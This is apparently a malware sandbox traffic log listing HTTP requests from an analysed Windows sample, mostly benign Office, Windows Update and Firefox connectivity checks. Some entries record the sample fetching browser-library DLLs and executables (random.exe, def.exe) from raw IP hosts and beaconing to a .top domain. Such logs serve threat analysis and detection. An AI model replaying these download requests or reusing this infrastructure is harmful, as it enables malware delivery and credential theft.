Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FL+ShEAnHopKa4V&MD=rS2V3E2R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
